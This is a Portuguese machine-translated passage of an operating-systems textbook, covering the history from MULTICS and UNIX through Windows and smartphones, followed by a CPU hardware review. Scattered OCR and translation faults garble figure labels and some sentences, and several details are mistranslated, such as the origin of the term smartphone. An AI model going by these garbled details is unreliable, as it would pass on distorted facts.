grande fabricante de computadores) decidiram embarcar no desenvolvimento de um “utilitário de 
computador”, isto é, uma máquina que suportaria alguns centenas de usuários simultâneos de 
timesharing. O modelo deles era o sistema elétrico — quando você precisa de energia elétrica, 
basta colocar um plugue na parede e, dentro do razoável, toda a energia necessária estará lá. Os 
projetistas deste sistema, conhecido como MULTICS (MULTiplexed Information and Computing 
Service), imaginaram uma enorme máquina fornecendo poder de computação para todos na área 
de Boston. 

A ideia de que máquinas 10.000 vezes mais rápidas que o mainframe GE-645 seriam vendidas 
(por bem menos de US$ 1.000) aos milhões apenas 40 anos depois era pura ficção científica. Mais 
ou menos como a ideia dos trens submarinos transatlânticos supersônicos agora. 

MULTICS foi um sucesso misto. Ele foi projetado para suportar centenas de usuários em uma 
máquina 1000x mais lenta que um smartphone moderno e com um milhão de vezes menos 
memória. Isto não é tão louco quanto parece, já que naquela época as pessoas sabiam como 
escrever programas pequenos e eficientes, uma habilidade que posteriormente foi completamente 
perdida. Houve muitas razões pelas quais o MULTICS não conquistou o mundo, e a menos 
importante delas é que ele foi escrito na linguagem de programação PL/I, e o compilador PL/I 
estava anos atrasado e mal funcionava quando finalmente chegado. Além disso, o MULTICS era 
extremamente ambicioso para a época, muito parecido com o mecanismo analítico de Charles 
Babbage no século XIX. 
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Para resumir uma longa história, o MULTICS introduziu muitas ideias seminais na literatura 
de informática, mas transformá-las em um produto sério e em um grande sucesso comercial foi 
muito mais difícil do que se esperava. A Bell Labs desistiu do projeto e a General Electric 
abandonou completamente o negócio de computadores. No entanto, o MIT persistiu e finalmente 
colocou o MULTICS em funcionamento. Em última análise, foi vendido como um produto 
comercial pela empresa (Honeywell) que comprou o negócio de computadores da GE quando 
a GE se cansou dele e foi instalado por cerca de 80 grandes empresas e universidades em 
todo o mundo. Embora seu número fosse pequeno, os usuários do MULTICS eram extremamente 
leais. A General Motors, a Ford e a Agência de Segurança Nacional dos EUA, por exemplo, 
desligaram os seus sistemas MULTICS apenas no final da década de 1990, 30 anos após o 
lançamento do MULTICS, depois de anos a implorar à Honeywell para actualizar o hardware. 
O último sistema MULTICS foi desligado em meio a muitas lágrimas em outubro de 2000. 

Você consegue se imaginar pendurado no seu PC por 30 anos porque acha que ele é muito 
melhor do que tudo que existe por aí? Esse é o tipo de lealdade que a MULTICS inspirou — e 
por boas razões. Foi extremamente importante. 

No final do século 20, o conceito de utilitário de computador havia fracassado, mas voltou 
na forma de computação em nuvem, na qual computadores relativamente pequenos (incluindo 
smartphones, tablets e similares) são conectados a servidores em vastas redes. e data centers 
distantes onde toda a computação é feita, com o computador local controlando principalmente 
a interface do usuário. A motivação aqui é que a maioria das pessoas não deseja administrar 
um sistema computacional cada vez mais complexo e em evolução e prefere que esse trabalho 
seja feito por uma equipe de profissionais, por exemplo, pessoas que trabalham para a 
empresa que administra o data center. 

Apesar da falta de sucesso comercial, o MULTICS teve uma enorme influência nos 
sistemas operacionais subsequentes (especialmente UNIX e seus derivados, Linux, macOS, 
iOS e FreeBSD). É descrito em vários artigos e em um livro (Corbato” e Vyssotsky, 1965; Daley 
e Dennis, 1968; Organick, 1972; Corbato” et al., 1972; e Saltzer, 1974). Também possui um site 
ativo, localizado em www.multicians.org, com muitas informações sobre o sistema, seus 
projetistas e seus usuários. 

Outro grande desenvolvimento durante a terceira geração foi o crescimento fenomenal dos 
minicomputadores, começando com o DEC PDP-1 em 1961. O PDP-1 tinha apenas 4K de 
palavras de 18 bits, mas custava US$ 120.000 por máquina (menos de 5% do preço de um 
7094), vendeu como pão quente. Para certos tipos de trabalho não numérico, foi quase tão 
rápido quanto o 7094 e deu origem a uma indústria totalmente nova. Ele foi rapidamente 
seguido por uma série de outros PDPs (ao contrário da família IBM, todos incompatíveis) que 
culminaram no PDP-11. 

Um dos cientistas da computação do Bell Labs que trabalhou no projeto MULTICS, Ken 
Thompson, posteriormente encontrou um pequeno minicomputador PDP-7 que ninguém estava 
usando e começou a escrever uma versão simplificada do MULTICS para um usuário. 

Este trabalho posteriormente se desenvolveu no sistema operacional UNIX, que se tornou 
popular no mundo acadêmico, em agências governamentais e em muitas empresas. 

A história do UNIX foi contada em outro lugar (por exemplo, Salus, 1994). Parte dessa 
história será contada no Cap. 10. Por enquanto, basta dizer que porque a fonte 
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O código estava amplamente disponível, várias organizações desenvolveram suas próprias versões 
(incompatíveis), o que levou ao caos. Duas versões principais foram desenvolvidas, System V, da 
AT&T, e BSD (Berkeley Software Distribution) da Universidade da Califórnia em Berkeley. Eles 
também tinham variantes menores. Para tornar possível escrever programas que possam ser 
executados em qualquer sistema UNIX, o IEEE desenvolveu um padrão para UNIX, chamado POSIX, 
que a maioria das versões do UNIX agora suporta. POSIX define uma interface mínima de chamada 
de sistema que os sistemas UNIX compatíveis devem suportar. Na verdade, alguns outros sistemas 
operacionais agora também suportam a interface POSIX. 

À parte, vale ressaltar que em 1987, um dos autores (Tanen baum) lançou um pequeno clone 
do UNIX, denominado MINIX, principalmente para fins educacionais. Funcionalmente, o MINIX é muito 
semelhante ao UNIX, incluindo suporte POSIX. 

Desde então, a versão original do MINIX evoluiu para o MINIX 3, que é altamente modular e focado 
em altíssima confiabilidade e está disponível gratuitamente no site vww.minix3.org. O MINIX 3 tem a 
capacidade de detectar e substituir módulos defeituosos ou até mesmo travados (como drivers de 
dispositivos de E/S) dinamicamente, sem reinicialização e sem perturbar os programas em execução. 
Também está disponível um livro que descreve seu funcionamento interno e lista o código-fonte em 
um apêndice (Tanenbaum e Woodhull, 2006). 


O desejo de uma versão de produção gratuita (em oposição à versão educacional) do MINIX 
levou um estudante finlandês, Linus Torvalds, a escrever o Linux. Este sistema foi diretamente 
inspirado e desenvolvido no MINIX e originalmente suportava vários recursos do MINIX (por exemplo, 
o sistema de arquivos MINIX). Desde então, foi estendido de várias maneiras por muitas pessoas, 
mas ainda mantém alguma estrutura subjacente comum ao MINIX e ao UNIX. Os leitores interessados 
em uma história detalhada do Linux e do movimento de código aberto podem querer ler o livro de Glyn 
Moody (2001). A maior parte do que será dito sobre o UNIX neste livro também se aplica ao System 
V, MINIX, Linux e outras versões e clones do UNIX. 


Curiosamente, tanto o Linux quanto o MINIX se tornaram amplamente utilizados. O Linux alimenta 
uma grande parte dos servidores em data centers e constitui a base do Android , que domina o 
mercado de smartphones. O MINIX foi adaptado pela Intel para um processador de “gerenciamento” 
separado e um tanto secreto, incorporado em praticamente todos os seus chipsets desde 2008. Em 
outras palavras, se você possui uma CPU Intel, você também executa o MINIX profundamente em 
seu processador, mesmo que seu processador principal sistema operacional é, digamos, Windows ou Linux. 


1.2.4 A Quarta Geração (1980 — Presente): Computadores Pessoais 


Com o desenvolvimento dos circuitos LSI (Large Scale Integration) — chips contendo milhares 
de transistores em um centímetro quadrado de silício — a era do computador pessoal começou. Em 
termos de arquitetura, os computadores pessoais (inicialmente chamados de microcomputadores) 
não eram tão diferentes dos minicomputadores da classe PDP-11, mas em termos de preço certamente 
eram diferentes. Onde o minicomputador possibilitou que um departamento de uma empresa ou 
universidade tivesse seu 
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próprio computador, o chip microprocessador possibilitou que um único indivíduo tivesse seu 
próprio computador pessoal. 

Em 1974, quando a Intel lançou o 8080, o primeiro CPU de 8 bits de uso geral, ela queria 
um sistema operacional para ele, em parte para poder testá-lo. A Intel pediu a um de seus 
consultores, Gary Kildall, que escrevesse um. Kildall e um amigo primeiro construíram um 
controlador para o recém-lançado disquete de 8 polegadas da Shugart Associates e conectaram 
o disquete ao 8080, produzindo assim o primeiro microcomputador com um disco. 

Kildall então escreveu um sistema operacional baseado em disco cnamado CP/M (Programa 
de Controle para Microcomputadores) para ele. Como a Intel não achava que os 
microcomputadores baseados em disco tivessem muito futuro, quando Kildall solicitou os 
direitos do CP/M, a Intel atendeu seu pedido. Kildall então formou uma empresa, Digital 
Research, para desenvolver e vender CP/M. 

Em 1977, a Digital Research reescreveu o CP/M para torná-lo adequado para execução 
em muitos microcomputadores que usam o 8080, o Zilog Z80 e outros chips de CPU. Muitos 
programas aplicativos foram escritos para rodar em CP/M, permitindo-lhe dominar 
completamente o mundo da microcomputação por cerca de 5 anos. 

No início da década de 1980, a IBM projetou o IBM PC e procurou software para rodar 
nele. Pessoas da IBM contataram Bill Gates para licenciar seu interpretador BASIC. Eles 
também perguntaram se ele conhecia algum sistema operacional para rodar no PC. 

Gates sugeriu que a IBM contatasse a Digital Research, então a empresa de sistemas 
operacionais dominante no mundo. Tomando o que foi sem dúvida a pior decisão de negócios 
já registrada na história, Kildall recusou-se a se reunir com a IBM, enviando em vez disso um 
subordinado. Para piorar ainda mais a situação, o seu advogado recusou-se a assinar o acordo 
de confidencialidade da IBM que abrange o PC ainda não anunciado. Conseguentemente, a 
IBM voltou a perguntar a Gates se ele poderia fornecer-lhes um sistema operacional. 

Quando a IBM voltou para ele, Gates percebeu rapidamente que um fabricante local de 
computadores, Seattle Computer Products, tinha um sistema operacional adequado, DOS 
(Disk Operating System). Ele os abordou e pediu para comprá-lo (supostamente por US$ 75 
mil), o que eles aceitaram prontamente. Gates então ofereceu à IBM um pacote DOS/BASIC, 
que a IBM aceitou. A IBM queria certas modificações, então Gates contratou a pessoa que 
escreveu o DOS, Tim Paterson, como funcionário da empresa incipiente de Gates, a Microsoft, 
para fazê-las. O sistema revisado foi renomeado como MS-DOS (MicroSoft Disk Operating 
System) e rapidamente passou a dominar o mercado de PCs IBM. Um fator chave aqui foi a 
decisão (em retrospecto, extremamente sábia) de Gates de vender o MS-DOS para empresas 
de informática para empacotar com seu hardware, em comparação com a tentativa de Kildall 
de vender CP/M para usuários finais, um de cada vez (pelo menos inicialmente)... 

Depois de tudo isso acontecer, Kildall morreu repentina e inesperadamente por causas que não 
foram totalmente divulgadas. 

Quando o sucessor do IBM PC, o IBM PC/AT, foi lançado em 1983 com a CPU Intel 
80286, o MS-DOS estava firmemente enraizado e o CP/M estava em seus últimos estágios. O 
MS-DOS foi posteriormente amplamente utilizado no 80386 e no 80486. Embora a versão 
inicial do MS-DOS fosse bastante primitiva, as versões subsequentes inclufam recursos mais 
avançados, incluindo muitos retirados do UNIX. (A Microsoft estava bem ciente 
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do UNIX, até vendendo uma versão para microcomputador cnamada XENIX durante os primeiros 
anos da empresa.) 

CP/M, MS-DOS e outros sistemas operacionais para os primeiros microcomputadores eram 
todos baseados na digitação de comandos pelo teclado. Isso acabou mudando devido à pesquisa 
feita por Doug Engelbart no Stanford Research Institute na década de 1960. Engelbart inventou a 
interface gráfica do usuário, completa com janelas, ícones, menus e mouse. Estas ideias foram 
adotadas por investigadores da Xerox PARC e incorporadas nas máquinas que construíram. 


Um belo dia, Steve Jobs, que co-inventou o computador Apple na sua garagem, visitou o PARC, 
viu uma GUI e percebeu instantaneamente o seu valor potencial, algo que a gestão da Xerox 
notoriamente não fez. Esse erro estratégico de proporções incrivelmente gigantescas levou a um 
livro intitulado Fumbling the Future (Smith e Alexander, 1988). Jobs então embarcou na construção 
de um Apple com interface gráfica. Este projeto deu origem ao Lisa, que era muito caro e fracassou 
comercialmente. A segunda tentativa de Jobs, o Apple Macintosh, foi um enorme sucesso, não só 
porque era muito mais barato que o Lisa, mas também porque era fácil de usar , o que significa que 
era destinado a usuários que não só não sabiam nada sobre computadores, mas também tinham 
absolutamente nenhuma intenção de aprender. No mundo criativo do design gráfico, da fotografia 
digital profissional e da produção de vídeo digital profissional, os toshes Macin tornaram-se amplamente 
utilizados e seus usuários os adoraram. Em 1999, a Apple adotou um kernel derivado do microkernel 
Mach da Carnegie Mellon University, que foi originalmente desenvolvido para substituir o kernel do 
BSD UNIX. Assim, o macOS da Apple é um sistema operacional baseado em UNIX, embora com 
uma interface distinta. 


Quando a Microsoft decidiu construir um sucessor para o MS-DOS, foi fortemente influenciada 
pelo sucesso do Macintosh. Ele produziu um sistema baseado em GUI chamado Windows, que 
originalmente rodava sobre o MS-DOS (ou seja, era mais como um shell do que um verdadeiro 
sistema operacional). Por cerca de 10 anos, de 1985 a 1995, o Windows foi apenas um ambiente 
gráfico em cima do MS-DOS. No entanto, a partir de 1995, foi lançada uma versão independente, o 
Windows 95, que incorporou muitos recursos do sistema operacional, usando o sistema MS-DOS 
subjacente apenas para inicializar e executar programas antigos do MS-DOS. A Microsoft reescreveu 
grande parte do sistema operacional do zero para o Windows NT, um sistema completo de 32 bits. O 
designer-chefe do Windows NT foi David Cutler, que também foi um dos designers do sistema 
operacional VAX VMS, portanto, algumas ideias do VMS estão presentes no NT. Na verdade, havia 
tantas ideias do VMS nele que o proprietário do VMS, DEC, processou a Microsoft. 


O caso foi resolvido fora do tribunal por uma quantia em dinheiro que exigia muitos dígitos para ser 
expressa. A versão 5 do Windows NT foi renomeada para Windows 2000 no início de 1999 e, 2 anos 
depois, a Microsoft lançou uma versão ligeiramente atualizada chamada Windows XP, que teve uma 
execução mais longa do que outras versões (6 anos). 

Depois do Windows 2000, a Microsoft dividiu a família Windows em uma linha cliente e uma linha 
servidora. A linha de clientes foi baseada no XP e seus sucessores, enquanto a linha de servidores 
produziu o Windows Server 2003-2019 e agora o Windows Server vNext. 

Mais tarde, a Microsoft também introduziu uma terceira linha, para o mundo incorporado. Todos esses 
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famílias de Windows criaram suas próprias variações na forma de service packs em uma proliferação 
vertiginosa de versões. Foi o suficiente para deixar alguns administradores (e escritores de livros didáticos 
de sistemas operacionais) mal-numorados. 

Quando, em janeiro de 2007, a Microsoft finalmente lançou o sucessor do Windows XP, que chamou 
de Vista, ele veio com uma nova interface gráfica, segurança aprimorada e muitos programas de usuário 
novos ou atualizados. Foi um bombardeio. Os usuários reclamaram dos altos requisitos do sistema e dos 
termos de licenciamento restritivos. Seu sucessor, o Windows 7, uma versão do sistema operacional com 
muito menos recursos, superou-o rapidamente. Em 2012, o Windows 8 foi lançado. Ele tinha uma aparência 
completamente nova, voltada principalmente para telas sensíveis ao toque. A empresa esperava que o 
novo design se tornasse o sistema operacional dominante em uma ampla variedade de dispositivos: 
desktops, notebooks, tablets, telefones e PCs de home theater. Isso não aconteceu. Embora o Windows 8 
(e especialmente o Windows 8.1) tenha sido um sucesso, sua popularidade foi limitada principalmente 
aos PCs. Na verdade, muitas pessoas não gostaram muito do novo design e a Microsoft o reverteu em 
2015 no Windows 10. Alguns anos depois, o Windows 10 ultrapassou o Windows 7 como a versão mais 
popular do Windows. O Windows 11 foi lançado em 2021. 


O outro grande concorrente no mundo dos computadores pessoais é a família UNIX. O UNIX, e 
especialmente o Linux, é mais forte em servidores de rede e corporativos, mas também é popular em 
computadores desktop, notebooks, tablets, sistemas embarcados e smartphones. O FreeBSD também é 
um derivado popular do UNIX, originado do projeto BSD em Berkeley. Todo Mac moderno roda uma versão 
modificada do FreeBSD (macOS). Os derivados do UNIX são amplamente utilizados em dispositivos 
móveis, como aqueles que executam iOS 7 ou Android. 


Muitos usuários de UNIX, especialmente programadores experientes, preferem uma interface 
baseada em comandos a uma GUI, então quase todos os sistemas UNIX suportam um sistema de janelas 
chamado X Window System (também conhecido como X11) produzido no MIT. 

Este sistema cuida do gerenciamento básico de janelas, permitindo aos usuários criar, excluir, mover e 
redimensionar janelas usando o mouse. Frequentemente, um ambiente de desktop completo baseado em 
GUI, como Gnome ou KDE, está disponível para execução no X11, dando ao UNIX uma aparência 
semelhante ao Macintosh ou Microsoft Windows, para os usuários de UNIX que desejam tal coisa. 


Um desenvolvimento interessante que começou em meados da década de 1980 foi o desenvolvimento 
de sistemas operacionais de rede e sistemas operacionais distribuídos para gerenciar uma coleção 
de computadores (Van Steen e Tanenbaum, 2017). Em um sistema operacional de rede, os usuários estão 
cientes da existência de vários computadores e podem fazer login em máquinas remotas e copiar arquivos 
de uma máquina para outra. Cada máquina executa seu próprio sistema operacional local e possui seu 
próprio usuário (ou usuários) local. 

Tais sistemas não são fundamentalmente diferentes dos sistemas operacionais de processador único. 
Obviamente, eles precisam de uma interface de rede e de algum software de baixo nível para conduzi-lo, 
bem como de programas para obter login remoto e acesso remoto a arquivos, mas essas adições não 
alteram a estrutura essencial do sistema operacional. 

Um sistema operacional distribuído, por outro lado, é aquele que aparece aos seus usuários como um 
sistema uniprocessador tradicional, embora na verdade seja composto de múltiplos sistemas operacionais. 
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processadores. Os usuários não devem saber onde seus programas estão sendo executados ou 
onde seus arquivos estão localizados; tudo isso deve ser tratado de forma automática e eficiente pelo sistema 
operacional. 

Os verdadeiros sistemas operacionais distribuídos exigem mais do que apenas adicionar um pouco de código 
para um sistema operacional uniprocessador, porque sistemas distribuídos e centralizados 
diferem em certos aspectos críticos. Os sistemas distribuídos, por exemplo, muitas vezes permitem que aplicações 
sejam executadas em vários processadores ao mesmo tempo, exigindo assim sistemas mais complexos. 
algoritmos de escalonamento do processador para otimizar a quantidade de paralelismo. 
Além disso, os atrasos na comunicação dentro da rede muitas vezes significam que estes (e 
outros) os algoritmos devem ser executados com informações incompletas, desatualizadas ou mesmo incorretas. 
Esta situação difere radicalmente daquela em um sistema de processador único em 


qual o sistema operacional possui informações completas sobre o estado do sistema. 
1.2.5 A Quinta Geração (1990 — Presente): Computadores Móveis 


Desde que o detetive Dick Tracy começou a falar com seu "rádio bidirecional de pulso 
assistir " na história em quadrinhos da década de 1940, as pessoas ansiavam por um dispositivo de comunicação que 
poderiam carregar onde quer que fossem. O primeiro celular real apareceu em 
1946 e pesava cerca de 40 quilos. Você poderia levá-lo aonde quer que fosse, desde que 
você tinha um carro para carregá-lo. 

O primeiro verdadeiro telefone portátil apareceu na década de 1970 e, pesando cerca de um quilograma, 
era positivamente leve. Era carinhosamente conhecido como “o tijolo”. 
Logo todo mundo queria um. Hoje, a penetração da telefonia móvel nos países desenvolvidos 
países está perto de 90% da população global. Podemos fazer chamadas não apenas com 
nossos telefones portáteis e relógios de pulso, mas até mesmo com óculos e outros itens vestíveis. Além disso, a 
parte telefônica não é mais central. Recebemos e-mail, navegamos 
na Web, enviar mensagens de texto aos nossos amigos, jogar, navegar no trânsito intenso - e não 
até pense duas vezes sobre isso. 

Embora a ideia de combinar telefonia e computação em um dispositivo semelhante a um telefone 
existe desde a década de 1970, o primeiro smartphone real só apareceu 
meados da década de 1990, quando a Nokia lançou o N9000, que literalmente combinava dois, 
principalmente dispositivos separados: um telefone e um assistente digital pessoal. Em 1997, o filho de Eric 
cunhou o termo smartphone para seu GS88 “Penelope”. 

Agora que os smartphones se tornaram onipresentes, a competição entre os 
sistemas operacionais é tão feroz quanto no mundo dos PCs. No momento em que este artigo foi escrito, o Google 
O Android é o sistema operacional dominante, com o iOS da Apple em segundo lugar, mas isso 
nem sempre foi assim e tudo poderá voltar a ser diferente dentro de alguns anos. Se alguma coisa está clara no 
mundo dos smartphones é que não é fácil permanecer o rei do 
montanha por muito tempo. 

Afinal, a maioria dos smartphones na primeira década após seu início rodava o sistema operacional 
Symbian . Foi o sistema operacional escolhido por marcas populares como 
Samsung, Sony Ericsson, Motorola e especialmente Nokia. No entanto, outros sistemas operacionais como o 
Blackberry OS da RIM (introduzido para smartphones em 2002) e 
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O iOS da Apple (lançado para o primeiro iPhone em 2007) começou a consumir a participação 
de mercado do Symbian. Muitos esperavam que a RIM dominaria o mercado empresarial, 
enquanto o iOS dominaria os dispositivos de consumo. A participação de mercado da Symbian 
despencou. Em 2011, a Nokia abandonou o Symbian e anunciou que se concentraria no Windows 
Phone como plataforma principal. Por algum tempo, a Apple e a RIM foram o brinde da cidade 
(embora não tão dominantes quanto o Symbian), mas não demorou muito para que o Android, 
um sistema operacional baseado em Linux lançado pelo Google em 2008, ultrapassasse todos 
seus rivais. 

Para os fabricantes de telefones, o Android tinha a vantagem de ser de código aberto e estar 
disponível sob uma licença permissiva. Como resultado, eles puderam mexer nele e adaptá-lo 
ao seu próprio hardware com facilidade. Além disso, possui uma enorme comunidade de 
desenvolvedores que escrevem aplicativos, principalmente na conhecida linguagem de 
programação Java. Mesmo assim, os últimos anos mostraram que o domínio pode não durar, e 


os concorrentes do Android estão ansiosos por recuperar parte da sua quota de mercado. 
Veremos o Android em detalhes na Seç. 10.8. 


1.3 REVISÃO DE HARDWARE DO COMPUTADOR 


Um sistema operacional está intimamente ligado ao hardware do computador em que é 
executado. Estende o conjunto de instruções do computador e gerencia seus recursos. Para 
funcionar, ele deve conhecer bastante sobre o hardware, pelo menos sobre como o hardware 
aparece para o programador. Por esta razão, vamos revisar brevemente o hardware de 
computador encontrado nos computadores pessoais modernos. Depois disso, podemos começar 
a entrar em detalhes sobre o que os sistemas operacionais fazem e como funcionam. 

Conceitualmente, um computador pessoal simples pode ser abstraído para um modelo 
semelhante ao da Figura 1.6. A CPU, a memória e os dispositivos de E/S são todos conectados 
por um barramento de sistema e se comunicam entre si por meio dele. Os computadores 
pessoais modernos têm uma estrutura mais complicada, envolvendo múltiplos barramentos, que 
veremos mais adiante. Por enquanto, este modelo será suficiente. Nas seções a seguir, 
revisaremos brevemente esses componentes e examinaremos alguns dos problemas de hardware 
que preocupam os projetistas de sistemas operacionais. Escusado será dizer que este será um 
resumo muito compacto. Muitos livros foram escritos sobre hardware e organização de 
computadores. Dois bem conhecidos são de Tanenbaum e Austin (2012) e Patterson e Hennessy 
(2018). 


1.3.1 Processadores 


O “cérebro” do computador é a CPU. Ele busca instruções na memória e as executa. O ciclo 
básico de cada CPU é buscar a primeira instrução da memória, decodificá-la para determinar seu 
tipo e operandos, executá-la e então buscar, decodificar e executar as instruções subsequentes. 
O ciclo é repetido até que o programa termine. Desta forma, os programas são executados. 
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Figura 1-6. Alguns dos componentes de um computador pessoal simples. 


Cada CPU possui um conjunto específico de instruções que pode executar. Assim, um processador x86 
não pode executar programas ARM e um processador ARM não pode executar programas x86. Observe que 
usaremos o termo x86 para nos referir a todos os processadores Intel descendentes do 8088, que foi usado 
no IBM PC original. 

Isso inclui as séries 286, 386 e Pentium, bem como as modernas CPUs Intel Core i3, i5 e i7 (e seus clones). 


Como acessar a memória para obter uma instrução ou palavra de dados leva muito mais tempo do que 
executar uma instrução, todas as CPUs contêm registros internos para armazenar variáveis-chave e 
resultados temporários. Os conjuntos de instruções geralmente contêm instruções para carregar uma palavra 
da memória em um registrador e armazenar uma palavra de um registrador na memória. 

Outras instruções combinam dois operandos de registradores e/ou memória, em um resultado, como adicionar 
duas palavras e armazenar o resultado em um registrador ou na memória. 

Além dos registros gerais usados para armazenar variáveis e resultados temporários, a maioria dos 
computadores possui vários registros especiais que são visíveis ao programador. Um deles é o contador de 


programa, que contém o endereço de memória da próxima instrução a ser buscada. Após a instrução ser 
buscada, o contador do programa é atualizado para apontar para sua sucessora. 


Outro registrador é o ponteiro da pilha, que aponta para o topo da pilha atual na memória. A pilha 
contém um quadro para cada procedimento que foi inserido, mas ainda não encerrado. O quadro de pilha de 
um procedimento contém os parâmetros de entrada, variáveis locais e variáveis temporárias que não são 
mantidos em registros. 

Ainda outro registro é o PSW (Program Status Word). Este registrador contém os bits do código de 
condição, que são definidos por instruções de comparação, a prioridade da CPU, o modo (usuário ou kernel) 
e vários outros bits de controle. Os programas do usuário normalmente podem ler o PSW inteiro, mas 
normalmente podem escrever apenas alguns de seus campos. 

O PSW desempenha um papel importante nas chamadas do sistema e E/S. 

O sistema operacional deve estar totalmente ciente de todos os registros. Ao multiplexar o tempo da 
CPU, o sistema operacional geralmente interrompe o programa em execução para (re) iniciar outro. Cada vez 
que interrompe um programa em execução, o sistema operacional deve salvar todos os registros para que 


possam ser restaurados quando o programa for executado posteriormente. 
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Na verdade, distinguimos entre a arquitetura e a microarquitetura. 

A arquitetura consiste em tudo o que é visível ao software como as instruções e os registradores. 
A microarquitetura compreende a implementação da arquitetura. Aqui encontramos caches 

de dados e instruções, buffers de tradução, preditores de ramificação, caminho de dados em 
pipeline e muitos outros elementos que normalmente não deveriam ser visíveis para o sistema 
operacional ou qualquer outro software. 

louça. 

Para melhorar o desempenho, os projetistas de CPU há muito abandonaram o modelo 
simples de buscar, decodificar e executar uma instrução por vez. Muitas CPUs modernas 
possuem recursos para executar mais de uma instrução ao mesmo tempo. Por exemplo, uma 
CPU pode ter unidades separadas de busca, decodificação e execução, de modo que, 
enquanto estiver executando a instrução n, ela também poderá estar decodificando a instrução 
n + 1 e buscando a instrução n + 2. Tal organização é chamada de pipeline e é ilustrado na 
Figura 1.7(a) para uma tubulação com três estágios. Pipelines mais longos são comuns. Na 
maioria dos projetos de pipeline, uma vez que uma instrução tenha sido buscada no pipeline, 
ela deverá ser executada, mesmo que a instrução anterior tenha sido uma ramificação condicional que foi executada. 
Pipelines causam grandes dores de cabeça aos escritores de compiladores e de sistemas 
operacionais porque expõem as complexidades da máquina subjacente e eles precisam lidar 


com elas. 

Executar 
unidade 

Executar 
Buscar Unidade de Executar Reservando aa 
md ~ buffer unidade. 

unidade decodificação unidade 
Buscar Unidade de 


unidade decodificação 
Executar 
unidade 


Figura 1-7. (a) Um pipeline de três estágios. (b) Uma CPU superescalar. 


Unidade de 


decodificação 


Ainda mais avançado que um projeto de pipeline é uma CPU superescalar , mostrada na 
Figura 1.7(b). Neste projeto, múltiplas unidades de execução estão presentes, por exemplo, 
uma para aritmética inteira, uma para aritmética de ponto flutuante e uma para operações 
booleanas. Duas ou mais instruções são buscadas ao mesmo tempo, decodificadas e 
despejadas em um buffer de retenção até que possam ser executadas. Assim que uma unidade 
de execução fica disponível, ela procura no buffer de retenção para ver se há uma instrução 
que possa manipular e, em caso afirmativo, remove a instrução do buffer e a executa. Uma 
implicação desse projeto é que as instruções do programa são frequentemente executadas 
fora de ordem. Na maior parte, cabe ao hardware garantir que o resultado produzido seja o 
mesmo que uma implementação sequencial teria produzido, mas uma quantidade irritante de 
complexidade é imposta ao sistema operacional, como veremos. 
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A maioria das CPUs, exceto aquelas muito simples usadas em sistemas embarcados, possuem 
(pelo menos) dois modos, modo kernel e modo usuário, conforme mencionado anteriormente. 
Normalmente, um pouco no PSW controla o modo. Ao executar no modo kernel, a CPU pode executar 
todas as instruções de seu conjunto de instruções e usar todos os recursos do hardware. Em máquinas 
desktop, notebook e servidores, o sistema operacional normalmente roda em modo kernel, dando 
acesso ao hardware completo. Na maioria dos sistemas embarcados, uma pequena parte é executada 
em modo kernel, com o restante do sistema operacional sendo executado em modo de usuário. 


Os programas de usuário sempre são executados no modo de usuário, o que permite que apenas 
um subconjunto de instruções seja executado e um subconjunto de recursos seja acessado. Geralmente, 
todas as instruções que envolvem E/S e proteção de memória não são permitidas no modo de usuário. 
Definir o bit do modo PSW para entrar no modo kernel também é proibido, é claro. 

Para obter serviços do sistema operacional, um programa de usuário deve fazer uma chamada 
de sistema, que intercepta o kernel e invoca o sistema operacional. A instrução trap (por exemplo, 
syscall em processadores x86-64) alterna do modo de usuário para o modo kernel e inicia o sistema 
operacional. Quando o sistema operacional termina, ele retorna o controle ao programa do usuário na 
instrução seguinte à chamada do sistema. Explicaremos os detalhes do mecanismo de chamada do 
sistema posteriormente neste capítulo. Por enquanto, pense nisso como um tipo especial de chamada 
de procedimento que possui a propriedade adicional de alternar do modo de usuário para o modo kernel. 
Como observação sobre tipografia, usaremos a fonte Helvetica minúscula para indicar chamadas de 
sistema em texto corrido, como este: read. 


É importante notar que os computadores possuem outras armadilhas além da instrução para 
executar uma chamada de sistema. A maioria das outras armadilhas são causadas pelo hardware para 
alertar sobre uma situação excepcional, como uma tentativa de divisão por O ou um estouro negativo de 
ponto flutuante. Em todos os casos, o sistema operacional assume o controle e deve decidir o que fazer. 
Às vezes, o programa deve ser encerrado com um erro. Outras vezes, o erro pode ser ignorado (um 
número com overflow pode ser definido como 0). Finalmente, quando o programa tiver anunciado 
antecipadamente que deseja lidar com certos tipos de condições, o controle poderá ser devolvido ao 
programa para deixá-lo lidar com o problema. 


Chips multithread e multicore 


A lei de Moore afirma que o número de transistores em um chip dobra a cada 18 meses. Esta “lei” 
não é algum tipo de lei da física, como a conservação do momento, mas é uma observação feita pelo 
cofundador da Intel, Gordon Moore, sobre a rapidez com que os engenheiros de processo das empresas 
de semicondutores conseguem encolher os seus transistores. Sem querer entrar no debate sobre 
quando terminará e se o exponencial já está ou não a abrandar um pouco, observamos simplesmente 
que a lei de Moore já se aplica há meio século e espera-se que se mantenha durante pelo menos mais 
alguns anos. Depois disso, o número de átomos por transistor se tornará muito pequeno e a mecânica 
quântica começará a desempenhar um grande papel, evitando uma maior redução do tamanho dos 
transistores. Superar a mecânica quântica será um grande desafio. 
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A abundância de transistores está levando a um problema: o que fazer com todos eles? 
eles? Vimos uma abordagem acima: arquiteturas superescalares, com múltiplas unidades funcionais. Mas à 
medida que o número de transistores aumenta, ainda mais são possíveis. Um 
A coisa óbvia a fazer é colocar caches maiores no chip da CPU. Isso está definitivamente acontecendo, mas 
eventualmente o ponto de retornos decrescentes será alcançado. 
O próximo passo óbvio é replicar não apenas as unidades funcionais, mas também 
parte da lógica de controle. O Intel Pentium 4 introduziu esta propriedade, chamada 
multithreading ou hyperthreading (nome da Intel), para o processador x86, e 
vários outros chips de CPU também o possuem - incluindo o SPARC, o Power5 e alguns 
Processadores ARM. Para uma primeira aproximação, o que ele faz é permitir que a CPU mantenha 
o estado de dois threads diferentes e depois alternar em um nanossegundo 
escala de tempo. (Um thread é um tipo de processo leve, que, por sua vez, é uma execução 
programa; entraremos em detalhes no Cap. 2.) Por exemplo, se um dos processos precisar ler uma palavra da 
memória (o que leva muitos ciclos de clock), uma CPU multithread pode simplesmente mudar para outro thread. 
Multithreading não oferece verdadeiro 
paralelismo. Apenas um processo por vez está em execução, mas o tempo de troca de thread é 
reduzido à ordem de um nanossegundo. 
Multithreading tem implicações para o sistema operacional porque cada thread 
aparece para o sistema operacional como uma CPU separada. Considere um sistema com dois 
CPUs reais, cada uma com dois threads. O sistema operacional verá isso como quatro 
CPUs. Se houver trabalho suficiente apenas para manter duas CPUs ocupadas em um determinado ponto do 
